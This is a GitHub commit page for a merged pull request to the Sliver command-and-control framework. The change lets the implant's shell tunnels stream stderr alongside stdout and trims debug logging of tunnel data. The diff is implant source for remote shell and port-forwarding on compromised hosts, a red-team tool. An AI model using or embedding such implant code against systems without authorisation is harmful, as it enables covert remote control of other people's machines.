Skip to content

Commit

Permalink
Merge pull request #740 from BishopFox/fix/shell-stderr
Browse files Browse the repository at this point in the history
Support multiple `io.ReadCloser` in `transports.Tunnel`
  • Loading branch information
moloch-- authored Jul 11, 2022
2 parents 1099a4a + e9d0f23 commit 68b129a
Show file tree
Hide file tree
Showing 10 changed files with 73 additions and 41 deletions.
3 changes: 1 addition & 2 deletions implant/sliver/handlers/tunnel_handlers/close_handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -22,8 +22,7 @@ func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Conn
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
Expand Down
3 changes: 2 additions & 1 deletion implant/sliver/handlers/tunnel_handlers/portfwd_handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -114,7 +114,8 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
tun: tunnel,
conn: connection,
}
n, err := io.Copy(tWriter, tunnel.Reader)
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
Expand Down
55 changes: 28 additions & 27 deletions implant/sliver/handlers/tunnel_handlers/shell_handler.go
Original file line number Diff line number Diff line change
Expand Up @@ -67,8 +67,9 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect

tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdout,
systemShell.Stdin,
systemShell.Stdout,
systemShell.Stderr,
)
connection.AddTunnel(tunnel)

Expand Down Expand Up @@ -100,35 +101,35 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
}
}

go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
}
_, err := io.Copy(tWriter, tunnel.Reader)

if err != nil {
cleanup("io error", err)
return
}

err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
for _, rc := range tunnel.Readers {
go func(outErr io.ReadCloser) {
tWriter := tunnelWriter{
conn: connection,
tun: tunnel,
}
_, err := io.Copy(tWriter, outErr)

if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
if err != nil {
cleanup("io error", err)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}()
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}(rc)
}

// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
Expand Down
2 changes: 1 addition & 1 deletion implant/sliver/handlers/tunnel_handlers/tunnel_writer.go
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ func (tw tunnelWriter) Write(data []byte) (int, error) {
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
Expand Down
10 changes: 10 additions & 0 deletions implant/sliver/shell/shell-pty.go
Original file line number Diff line number Diff line change
Expand Up @@ -77,13 +77,23 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
return nil, err
}

stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}

err = cmd.Start()

return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Stderr: stderr,
Cancel: cancel,
}, err
}
Expand Down
1 change: 1 addition & 0 deletions implant/sliver/shell/shell.go
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Stderr io.ReadCloser
Cancel context.CancelFunc
}

Expand Down
10 changes: 10 additions & 0 deletions implant/sliver/shell/shell_generic.go
Original file line number Diff line number Diff line change
Expand Up @@ -72,11 +72,21 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
return nil, err
}

stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}

return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Stderr: stderr,
Cancel: cancel,
}, nil
}
Expand Down
10 changes: 10 additions & 0 deletions implant/sliver/shell/shell_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -95,13 +95,23 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
return nil, err
}

stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}

err = cmd.Start()

return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Stderr: stderr,
Cancel: cancel,
}, err
}
3 changes: 0 additions & 3 deletions implant/sliver/transports/session.go
Original file line number Diff line number Diff line change
Expand Up @@ -253,9 +253,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if !ok {
return
}
// {{if .Config.Debug}}
log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data)
// {{end}}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
Expand Down
17 changes: 10 additions & 7 deletions implant/sliver/transports/tunnel.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,8 @@ import (
type Tunnel struct {
ID uint64

Reader io.ReadCloser
// Reader io.ReadCloser
Readers []io.ReadCloser
readSequence uint64

Writer io.WriteCloser
Expand All @@ -18,12 +19,12 @@ type Tunnel struct {
mutex *sync.RWMutex
}

func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
return &Tunnel{
ID: id,
Reader: reader,
Writer: writer,
mutex: &sync.RWMutex{},
ID: id,
Readers: readers,
Writer: writer,
mutex: &sync.RWMutex{},
}
}

Expand Down Expand Up @@ -57,6 +58,8 @@ func (c *Tunnel) IncWriteSequence() {

// Close - close tunnel reader and writer
func (c *Tunnel) Close() {
c.Reader.Close()
for _, rc := range c.Readers {
rc.Close()
}
c.Writer.Close()
}

0 comments on commit 68b129a

Please sign in to comment.